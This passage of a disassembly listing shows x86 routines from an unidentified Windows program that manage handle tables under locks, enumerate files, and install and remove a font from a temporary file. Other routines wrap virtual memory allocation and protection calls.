[ebp+var_4], 0 mov eax, [ebp+arg_8] or dword ptr [eax], 0FFFFFFFFh push 0Ch call sub_50835A pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4FF67B mov eax, [ebp+var_8] and dword ptr [eax], 0 mov eax, [ebp+var_8] and dword ptr [eax+4], 0 mov eax, [ebp+var_8] and dword ptr [eax+8], 0 mov eax, [ebp+var_8] mov [ebp+var_C], eax jmp short loc_4FF67F ; --------------------------------------------------------------------------- loc_4FF67B: ; CODE XREF: sub_4FF63E+1Fj and [ebp+var_C], 0 loc_4FF67F: ; CODE XREF: sub_4FF63E+3Bj mov eax, [ebp+var_C] mov [ebp+var_4], eax mov eax, [ebp+var_4] and dword ptr [eax], 0 push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_0] call sub_4FF252 test eax, eax jz short loc_4FF6D8 push 0 push [ebp+arg_0] call sub_5092CA pop ecx pop ecx mov ecx, [ebp+var_4] mov [ecx+4], eax mov eax, [ebp+var_4] and dword ptr [eax+8], 0 push [ebp+var_4] push [ebp+var_4] mov ecx, ds:dword_5118EC call sub_4FC000 mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] mov [eax], ecx and [ebp+var_4], 0 push 1 pop eax jmp short locret_4FF6DA ; --------------------------------------------------------------------------- loc_4FF6D8: ; CODE XREF: sub_4FF63E+5Dj xor eax, eax locret_4FF6DA: ; CODE XREF: sub_4FF63E+98j leave retn 0Ch sub_4FF63E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FF6DE proc near ; CODE XREF: sub_50A626+12p ; sub_50A657+19p var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 004FF805 SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E2F0 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 14h push ebx push esi push edi mov eax, ds:dword_5118EC mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_4FF724 mov eax, [ebp+var_20] add eax, 10h push eax call ds:dword_50E01C ; RtlEnterCriticalSection mov [ebp+var_24], 1 jmp short loc_4FF728 ; --------------------------------------------------------------------------- loc_4FF724: ; CODE XREF: sub_4FF6DE+31j and [ebp+var_24], 0 loc_4FF728: ; CODE XREF: sub_4FF6DE+44j movzx eax, [ebp+var_24] test eax, eax jz loc_4FF805 and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_5118EC call sub_50B871 mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz loc_4FF7DE mov eax, [ebp+arg_8] and dword ptr [eax], 0 mov eax, [ebp+var_1C] cmp dword ptr [eax+8], 0 jnz short loc_4FF778 push [ebp+var_1C] push [ebp+arg_4] mov eax, [ebp+var_1C] push dword ptr [eax+4] call sub_4FF252 mov ecx, [ebp+arg_8] mov [ecx], eax loc_4FF778: ; CODE XREF: sub_4FF6DE+82j mov eax, [ebp+arg_8] cmp dword ptr [eax], 0 jnz short loc_4FF7C5 mov eax, [ebp+var_1C] cmp dword ptr [eax+8], 0 jnz short loc_4FF7B1 push [ebp+arg_4] mov eax, [ebp+var_1C] push dword ptr [eax+4] call ds:dword_5116D0 ; FindFirstFileA mov ecx, [ebp+var_1C] mov [ecx+8], eax mov eax, [ebp+var_1C] xor ecx, ecx cmp dword ptr [eax+8], 0FFFFFFFFh setnz cl mov eax, [ebp+arg_8] mov [eax], ecx jmp short loc_4FF7C5 ; --------------------------------------------------------------------------- loc_4FF7B1: ; CODE XREF: sub_4FF6DE+A9j push [ebp+arg_4] mov eax, [ebp+var_1C] push dword ptr [eax+8] call ds:dword_5116D4 ; FindNextFileA mov ecx, [ebp+arg_8] mov [ecx], eax loc_4FF7C5: ; CODE XREF: sub_4FF6DE+A0j ; sub_4FF6DE+D1j push 0FFFFFFFFh mov [ebp+var_2C], 1 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_2C] jmp short loc_4FF807 ; --------------------------------------------------------------------------- loc_4FF7DE: ; CODE XREF: sub_4FF6DE+6Fj or [ebp+var_4], 0FFFFFFFFh call sub_4FF7E9 jmp short loc_4FF805 sub_4FF6DE endp ; =============== S U B R O U T I N E ======================================= sub_4FF7E9 proc near ; CODE XREF: sub_4FF6DE+104p mov eax, ds:dword_5118EC mov [ebp-28h], eax cmp dword ptr [ebp-28h], 0 jz short locret_4FF804 mov eax, [ebp-28h] add eax, 10h push eax call ds:dword_50E018 ; RtlLeaveCriticalSection locret_4FF804: ; CODE XREF: sub_4FF7E9+Cj retn sub_4FF7E9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4FF6DE loc_4FF805: ; CODE XREF: sub_4FF6DE+50j ; sub_4FF6DE+109j xor eax, eax loc_4FF807: ; CODE XREF: sub_4FF6DE+FEj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 0Ch ; END OF FUNCTION CHUNK FOR sub_4FF6DE ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FF818 proc near ; CODE XREF: sub_500741+CEp ; sub_50A5FF+Bp var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 004FF939 SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E300 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 24h push ebx push esi push edi mov eax, ds:dword_5118EC mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz short loc_4FF85E mov eax, [ebp+var_28] add eax, 10h push eax call ds:dword_50E01C ; RtlEnterCriticalSection mov [ebp+var_2C], 1 jmp short loc_4FF862 ; --------------------------------------------------------------------------- loc_4FF85E: ; CODE XREF: sub_4FF818+31j and [ebp+var_2C], 0 loc_4FF862: ; CODE XREF: sub_4FF818+44j movzx eax, [ebp+var_2C] test eax, eax jz loc_4FF939 and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_5118EC call sub_50B871 mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz loc_4FF912 mov eax, [ebp+var_1C] cmp dword ptr [eax+8], 0 jz short loc_4FF8A2 mov eax, [ebp+var_1C] push dword ptr [eax+8] call ds:dword_5116A4 ; CloseHandle loc_4FF8A2: ; CODE XREF: sub_4FF818+7Cj push [ebp+arg_0] mov ecx, ds:dword_5118EC call sub_50B8E0 mov [ebp+var_24], eax mov eax, [ebp+var_24] mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_4FF8EC mov eax, [ebp+var_20] mov eax, [eax+4] mov [ebp+var_30], eax push [ebp+var_30] call sub_5083DD pop ecx push 1 pop eax and eax, 1 test eax, eax jz short loc_4FF8E4 push [ebp+var_20] call sub_5083DD pop ecx loc_4FF8E4: ; CODE XREF: sub_4FF818+C1j mov eax, [ebp+var_20] mov [ebp+var_38], eax jmp short loc_4FF8F0 ; --------------------------------------------------------------------------- loc_4FF8EC: ; CODE XREF: sub_4FF818+A5j and [ebp+var_38], 0 loc_4FF8F0: ; CODE XREF: sub_4FF818+D2j mov eax, [ebp+arg_4] mov dword ptr [eax], 1 push 0FFFFFFFFh mov [ebp+var_3C], 1 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_3C] jmp short loc_4FF93B ; --------------------------------------------------------------------------- loc_4FF912: ; CODE XREF: sub_4FF818+6Fj or [ebp+var_4], 0FFFFFFFFh call sub_4FF91D jmp short loc_4FF939 sub_4FF818 endp ; =============== S U B R O U T I N E ======================================= sub_4FF91D proc near ; CODE XREF: sub_4FF818+FEp ; DATA XREF: _6:0050E308o mov eax, ds:dword_5118EC mov [ebp-34h], eax cmp dword ptr [ebp-34h], 0 jz short locret_4FF938 mov eax, [ebp-34h] add eax, 10h push eax call ds:dword_50E018 ; RtlLeaveCriticalSection locret_4FF938: ; CODE XREF: sub_4FF91D+Cj retn sub_4FF91D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4FF818 loc_4FF939: ; CODE XREF: sub_4FF818+50j ; sub_4FF818+103j xor eax, eax loc_4FF93B: ; CODE XREF: sub_4FF818+F8j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 ; END OF FUNCTION CHUNK FOR sub_4FF818 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FF94C proc near ; CODE XREF: sub_50B23E+20p var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_78 = byte ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6C = dword ptr -6Ch var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 004FFAAF SIZE 000001F8 BYTES ; FUNCTION CHUNK AT 004FFD11 SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E310 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 80h push ebx push esi push edi or [ebp+var_20], 0FFFFFFFFh or [ebp+var_28], 0FFFFFFFFh and [ebp+var_2C], 0 and [ebp+var_1C], 0 and [ebp+var_24], 0 push 0 lea eax, [ebp+var_20] push eax push 3 push 80000000h push [ebp+arg_0] call sub_500346 test eax, eax jz loc_4FFD11 cmp [ebp+var_20], 0FFFFFFFFh jz loc_4FFD11 mov eax, ds:dword_5118E4 mov [ebp+var_6C], eax cmp [ebp+var_6C], 0 jz short loc_4FF9D0 mov eax, [ebp+var_6C] add eax, 10h push eax call ds:dword_50E01C ; RtlEnterCriticalSection mov [ebp+var_70], 1 jmp short loc_4FF9D4 ; --------------------------------------------------------------------------- loc_4FF9D0: ; CODE XREF: sub_4FF94C+6Fj and [ebp+var_70], 0 loc_4FF9D4: ; CODE XREF: sub_4FF94C+82j movzx eax, [ebp+var_70] test eax, eax jz loc_4FFD11 and [ebp+var_4], 0 mov eax, [ebp+arg_4] and dword ptr [eax], 0 push [ebp+var_20] mov ecx, ds:dword_5118E4 call sub_50B871 mov [ebp+var_30], eax mov eax, [ebp+var_30] mov eax, [eax] mov eax, [eax] mov [ebp+var_34], eax cmp [ebp+var_30], 0 jnz short loc_4FFA1E push ds:off_50E4F8 push 22h push ds:off_50E4FC call sub_50848C loc_4FFA1E: ; CODE XREF: sub_4FF94C+BDj mov eax, ds:dword_5118E8 mov [ebp+var_74], eax cmp [ebp+var_74], 0 jz short loc_4FFA3F mov eax, [ebp+var_74] add eax, 10h push eax call ds:dword_50E01C ; RtlEnterCriticalSection mov [ebp+var_78], 1 jmp short loc_4FFA43 ; --------------------------------------------------------------------------- loc_4FFA3F: ; CODE XREF: sub_4FF94C+DEj and [ebp+var_78], 0 loc_4FFA43: ; CODE XREF: sub_4FF94C+F1j movzx eax, [ebp+var_78] test eax, eax jz short loc_4FFAAF mov [ebp+var_4], 1 mov eax, [ebp+var_30] push dword ptr [eax] mov ecx, ds:dword_5118E8 call sub_50B871 test eax, eax jz short loc_4FFA88 push 0FFFFFFFFh mov [ebp+var_84], 1 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_84] jmp loc_4FFD13 ; --------------------------------------------------------------------------- loc_4FFA88: ; CODE XREF: sub_4FF94C+118j and [ebp+var_4], 0 call sub_4FFA93 jmp short loc_4FFAAF sub_4FF94C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4FFA93 proc near ; CODE XREF: sub_4FF94C+140p ; DATA XREF: _6:0050E324o mov eax, ds:dword_5118E8 mov [ebp-7Ch], eax cmp dword ptr [ebp-7Ch], 0 jz short locret_4FFAAE mov eax, [ebp-7Ch] add eax, 10h push eax call ds:dword_50E018 ; RtlLeaveCriticalSection locret_4FFAAE: ; CODE XREF: sub_4FFA93+Cj retn sub_4FFA93 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4FF94C loc_4FFAAF: ; CODE XREF: sub_4FF94C+FDj ; sub_4FF94C+145j push 104h call sub_50835A pop ecx mov [ebp+var_50], eax mov eax, [ebp+var_50] mov [ebp+var_2C], eax push 104h call sub_50835A pop ecx mov [ebp+var_54], eax mov eax, [ebp+var_54] mov [ebp+var_1C], eax push [ebp+var_1C] push 104h call ds:dword_511734 ; GetTempPathA push [ebp+var_2C] push 0 push offset aMbx ; "mbx" push [ebp+var_1C] call ds:dword_511730 ; GetTempFileNameA push 0 push 0 push 4 push 0 push 1 push 40000000h push [ebp+var_2C] call ds:dword_5116A8 ; CreateFileA mov [ebp+var_28], eax cmp [ebp+var_28], 0FFFFFFFFh jnz short loc_4FFB3B push 0FFFFFFFFh mov [ebp+var_88], 1 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_88] jmp loc_4FFD13 ; --------------------------------------------------------------------------- loc_4FFB3B: ; CODE XREF: sub_4FF94C+1CBj push 1000h call sub_50835A pop ecx mov [ebp+var_58], eax mov eax, [ebp+var_58] mov [ebp+var_24], eax and [ebp+var_38], 0 loc_4FFB53: ; CODE XREF: sub_4FF94C+2BFj mov eax, [ebp+var_34] mov ecx, [ebp+var_38] cmp ecx, [eax+8] jnb loc_4FFC10 mov eax, [ebp+var_34] mov eax, [eax+8] mov [ebp+var_48], eax cmp [ebp+var_48], 1000h jbe short loc_4FFB7B mov [ebp+var_48], 1000h loc_4FFB7B: ; CODE XREF: sub_4FF94C+226j lea eax, [ebp+var_40] push eax push 0 lea eax, [ebp+var_3C] push eax push [ebp+var_48] push [ebp+var_24] push [ebp+var_20] call sub_501177 test eax, eax jz short loc_4FFB9D cmp [ebp+var_40], 0 jnz short loc_4FFBBF loc_4FFB9D: ; CODE XREF: sub_4FF94C+249j push 0FFFFFFFFh mov [ebp+var_8C], 1 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_8C] jmp loc_4FFD13 ; --------------------------------------------------------------------------- loc_4FFBBF: ; CODE XREF: sub_4FF94C+24Fj push 0 lea eax, [ebp+var_44] push eax push [ebp+var_3C] push [ebp+var_24] push [ebp+var_28] call ds:dword_5117BC ; WriteFile test eax, eax jz short loc_4FFBE0 mov eax, [ebp+var_44] cmp eax, [ebp+var_3C] jz short loc_4FFC02 loc_4FFBE0: ; CODE XREF: sub_4FF94C+28Aj push 0FFFFFFFFh mov [ebp+var_90], 1 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_90] jmp loc_4FFD13 ; --------------------------------------------------------------------------- loc_4FFC02: ; CODE XREF: sub_4FF94C+292j mov eax, [ebp+var_38] add eax, [ebp+var_3C] mov [ebp+var_38], eax jmp loc_4FFB53 ; --------------------------------------------------------------------------- loc_4FFC10: ; CODE XREF: sub_4FF94C+210j push [ebp+var_28] call ds:dword_5116A4 ; CloseHandle or [ebp+var_28], 0FFFFFFFFh push [ebp+var_2C] call ds:dword_5117DC ; AddFontResourceA mov ecx, [ebp+arg_4] mov [ecx], eax mov eax, [ebp+arg_4] cmp dword ptr [eax], 0 jnz short loc_4FFC3C push [ebp+var_2C] call ds:dword_5116C0 ; DeleteFileA loc_4FFC3C: ; CODE XREF: sub_4FF94C+2E5j push 8 call sub_50835A pop ecx mov [ebp+var_5C], eax cmp [ebp+var_5C], 0 jz short loc_4FFC67 mov eax, [ebp+var_5C] and dword ptr [eax], 0 mov eax, [ebp+var_5C] mov ecx, [ebp+var_2C] mov [eax+4], ecx mov eax, [ebp+var_5C] mov [ebp+var_94], eax jmp short loc_4FFC6E ; --------------------------------------------------------------------------- loc_4FFC67: ; CODE XREF: sub_4FF94C+2FFj and [ebp+var_94], 0 loc_4FFC6E: ; CODE XREF: sub_4FF94C+319j push [ebp+var_94] mov eax, [ebp+var_30] push dword ptr [eax] mov ecx, ds:dword_5118E8 call sub_4FC000 and [ebp+var_2C], 0 push 0FFFFFFFFh mov [ebp+var_98], 1 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_98] jmp short loc_4FFD13 ; END OF FUNCTION CHUNK FOR sub_4FF94C ; =============== S U B R O U T I N E ======================================= sub_4FFCA7 proc near ; DATA XREF: _6:0050E318o mov eax, ds:dword_5118E4 mov [ebp-80h], eax cmp dword ptr [ebp-80h], 0 jz short loc_4FFCC2 mov eax, [ebp-80h] add eax, 10h push eax call ds:dword_50E018 ; RtlLeaveCriticalSection loc_4FFCC2: ; CODE XREF: sub_4FFCA7+Cj cmp dword ptr [ebp-20h], 0FFFFFFFFh jz short loc_4FFCD4 lea eax, [ebp-4Ch] push eax push dword ptr [ebp-20h] call sub_500741 loc_4FFCD4: ; CODE XREF: sub_4FFCA7+1Fj cmp dword ptr [ebp-28h], 0FFFFFFFFh jz short loc_4FFCE3 push dword ptr [ebp-28h] call ds:dword_5116A4 ; CloseHandle loc_4FFCE3: ; CODE XREF: sub_4FFCA7+31j mov eax, [ebp-2Ch] mov [ebp-60h], eax push dword ptr [ebp-60h] call sub_5083DD pop ecx mov eax, [ebp-1Ch] mov [ebp-64h], eax push dword ptr [ebp-64h] call sub_5083DD pop ecx mov eax, [ebp-24h] mov [ebp-68h], eax push dword ptr [ebp-68h] call sub_5083DD pop ecx retn sub_4FFCA7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4FF94C loc_4FFD11: ; CODE XREF: sub_4FF94C+53j ; sub_4FF94C+5Dj ... xor eax, eax loc_4FFD13: ; CODE XREF: sub_4FF94C+137j ; sub_4FF94C+1EAj ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 ; END OF FUNCTION CHUNK FOR sub_4FF94C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FFD24 proc near ; CODE XREF: sub_50B277+20p var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E328 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 34h push ebx push esi push edi or [ebp+var_20], 0FFFFFFFFh and [ebp+var_1C], 0 push 0 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_1C] push eax push [ebp+arg_0] call sub_50153F test eax, eax jz loc_4FFEBA movzx eax, [ebp+var_24] test eax, eax jnz loc_4FFEBA mov eax, ds:dword_5118E8 mov [ebp+var_34], eax cmp [ebp+var_34], 0 jz short loc_4FFD98 mov eax, [ebp+var_34] add eax, 10h push eax call ds:dword_50E01C ; RtlEnterCriticalSection mov [ebp+var_38], 1 jmp short loc_4FFD9C ; --------------------------------------------------------------------------- loc_4FFD98: ; CODE XREF: sub_4FFD24+5Fj and [ebp+var_38], 0 loc_4FFD9C: ; CODE XREF: sub_4FFD24+72j movzx eax, [ebp+var_38] test eax, eax jz loc_4FFEBA and [ebp+var_4], 0 mov eax, [ebp+arg_4] and dword ptr [eax], 0 push [ebp+var_1C] mov ecx, ds:dword_5118E8 call sub_50B871 mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz loc_4FFE88 mov eax, [ebp+var_28] cmp dword ptr [eax], 0 jz short loc_4FFDE8 push ds:off_50E4F8 push 70h push ds:off_50E4FC call sub_50848C loc_4FFDE8: ; CODE XREF: sub_4FFD24+AFj mov eax, [ebp+var_28] cmp dword ptr [eax+4], 0 jnz short loc_4FFE04 push ds:off_50E4F8 push 71h push ds:off_50E4FC call sub_50848C loc_4FFE04: ; CODE XREF: sub_4FFD24+CBj mov eax, [ebp+var_28] push dword ptr [eax+4] call ds:dword_5117EC ; RemoveFontResourceA mov ecx, [ebp+arg_4] mov [ecx], eax mov eax, [ebp+var_28] push dword ptr [eax+4] call ds:dword_5116C0 ; DeleteFileA push [ebp+var_1C] mov ecx, ds:dword_5118E8 call sub_50B8E0 mov [ebp+var_30], eax mov eax, [ebp+var_30] mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jz short loc_4FFE6B mov eax, [ebp+var_2C] mov eax, [eax+4] mov [ebp+var_3C], eax push [ebp+var_3C] call sub_5083DD pop ecx push 1 pop eax and eax, 1 test eax, eax jz short loc_4FFE63 push [ebp+var_2C] call sub_5083DD pop ecx loc_4FFE63: ; CODE XREF: sub_4FFD24+134j mov eax, [ebp+var_2C] mov [ebp+var_44], eax jmp short loc_4FFE6F ; --------------------------------------------------------------------------- loc_4FFE6B: ; CODE XREF: sub_4FFD24+118j and [ebp+var_44], 0 loc_4FFE6F: ; CODE XREF: sub_4FFD24+145j push 0FFFFFFFFh mov [ebp+var_48], 1 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_48] jmp short loc_4FFEBC ; --------------------------------------------------------------------------- loc_4FFE88: ; CODE XREF: sub_4FFD24+A3j push 0FFFFFFFFh and [ebp+var_4C], 0 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_4C] jmp short loc_4FFEBC ; --------------------------------------------------------------------------- loc_4FFE9E: ; DATA XREF: _6:0050E330o mov eax, ds:dword_5118E8 mov [ebp+var_40], eax cmp [ebp+var_40], 0 jz short locret_4FFEB9 mov eax, [ebp+var_40] add eax, 10h push eax call ds:dword_50E018 ; RtlLeaveCriticalSection locret_4FFEB9: ; CODE XREF: sub_4FFD24+186j retn ; --------------------------------------------------------------------------- loc_4FFEBA: ; CODE XREF: sub_4FFD24+41j ; sub_4FFD24+4Dj ... xor eax, eax loc_4FFEBC: ; CODE XREF: sub_4FFD24+162j ; sub_4FFD24+178j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 sub_4FFD24 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FFECD proc near ; CODE XREF: sub_50B55B+Bp var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E338 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 18h push ebx push esi push edi mov eax, ds:dword_5118E0 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_4FFF13 mov eax, [ebp+var_20] add eax, 10h push eax call ds:dword_50E01C ; RtlEnterCriticalSection mov [ebp+var_24], 1 jmp short loc_4FFF17 ; --------------------------------------------------------------------------- loc_4FFF13: ; CODE XREF: sub_4FFECD+31j and [ebp+var_24], 0 loc_4FFF17: ; CODE XREF: sub_4FFECD+44j movzx eax, [ebp+var_24] test eax, eax jz loc_4FFFAC and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_5118E0 call sub_50B871 mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_4FFF54 push 0FFFFFFFFh and [ebp+var_2C], 0 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_2C] jmp short loc_4FFFAE ; --------------------------------------------------------------------------- loc_4FFF54: ; CODE XREF: sub_4FFECD+6Fj push 8000h push 0 push [ebp+arg_0] call ds:dword_5117A8 ; VirtualFree mov ecx, [ebp+arg_4] mov [ecx], eax push [ebp+arg_0] mov ecx, ds:dword_5118E0 call sub_50B8E0 push 0FFFFFFFFh mov [ebp+var_30], 1 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_30] jmp short loc_4FFFAE ; --------------------------------------------------------------------------- loc_4FFF90: ; DATA XREF: _6:0050E340o mov eax, ds:dword_5118E0 mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz short locret_4FFFAB mov eax, [ebp+var_28] add eax, 10h push eax call ds:dword_50E018 ; RtlLeaveCriticalSection locret_4FFFAB: ; CODE XREF: sub_4FFECD+CFj retn ; --------------------------------------------------------------------------- loc_4FFFAC: ; CODE XREF: sub_4FFECD+50j xor eax, eax loc_4FFFAE: ; CODE XREF: sub_4FFECD+85j ; sub_4FFECD+C1j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 sub_4FFECD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FFFBF proc near ; CODE XREF: sub_50B51C+17p var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = byte ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E348 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 44h push ebx push esi push edi and [ebp+var_20], 0 mov eax, [ebp+arg_14] and dword ptr [eax], 0 and [ebp+var_24], 0 mov [ebp+var_1C], 2 mov eax, ds:dword_5118E4 mov [ebp+var_48], eax cmp [ebp+var_48], 0 jz short loc_50001A mov eax, [ebp+var_48] add eax, 10h push eax call ds:dword_50E01C ; RtlEnterCriticalSection mov [ebp+var_4C], 1 jmp short loc_50001E ; --------------------------------------------------------------------------- loc_50001A: ; CODE XREF: sub_4FFFBF+46j and [ebp+var_4C], 0 loc_50001E: ; CODE XREF: sub_4FFFBF+59j movzx eax, [ebp+var_4C] test eax, eax jz loc_500203 and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_5118E4 call sub_50B871 mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_50005E push 0FFFFFFFFh and [ebp+var_54], 0 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_54] jmp loc_500205 ; --------------------------------------------------------------------------- loc_50005E: ; CODE XREF: sub_4FFFBF+84j mov eax, [ebp+var_28] mov eax, [eax] mov [ebp+var_2C], eax mov eax, [ebp+var_2C] mov eax, [eax] mov [ebp+var_30], eax mov eax, [ebp+var_30] mov ecx, [ebp+arg_C] cmp ecx, [eax+8] jbe short loc_500086 push 57h call ds:dword_51178C ; RtlRestoreLastWin32Error jmp loc_5001B8 ; --------------------------------------------------------------------------- loc_500086: ; CODE XREF: sub_4FFFBF+B8j cmp [ebp+arg_10], 0 jnz short loc_500098 mov eax, [ebp+var_30] mov eax, [eax+8] sub eax, [ebp+arg_C] mov [ebp+arg_10], eax loc_500098: ; CODE XREF: sub_4FFFBF+CBj mov eax, [ebp+arg_10] add eax, [ebp+arg_C] mov ecx, [ebp+var_30] cmp eax, [ecx+8] jbe short loc_5000B3 push 57h call ds:dword_51178C ; RtlRestoreLastWin32Error jmp loc_5001B8 ; --------------------------------------------------------------------------- loc_5000B3: ; CODE XREF: sub_4FFFBF+E5j mov eax, [ebp+arg_4] mov [ebp+var_58], eax cmp [ebp+var_58], 0 jbe short loc_5000D7 cmp [ebp+var_58], 2 jbe short loc_5000D0 cmp [ebp+var_58], 0F001Fh jz short loc_5000D0 jmp short loc_5000D7 ; --------------------------------------------------------------------------- loc_5000D0: ; CODE XREF: sub_4FFFBF+104j ; sub_4FFFBF+10Dj mov [ebp+var_1C], 4 loc_5000D7: ; CODE XREF: sub_4FFFBF+FEj ; sub_4FFFBF+10Fj push [ebp+var_1C] push 1000h push [ebp+arg_10] push 0 call ds:dword_5117A4 ; VirtualAlloc mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz short loc_5000F8 jmp loc_5001B8 ; --------------------------------------------------------------------------- loc_5000F8: ; CODE XREF: sub_4FFFBF+132j cmp [ebp+var_1C], 4 jz short loc_500119 lea eax, [ebp+var_38] push eax push 4 push [ebp+arg_10] push [ebp+var_20] call ds:dword_5117AC ; VirtualProtect test eax, eax jnz short loc_500119 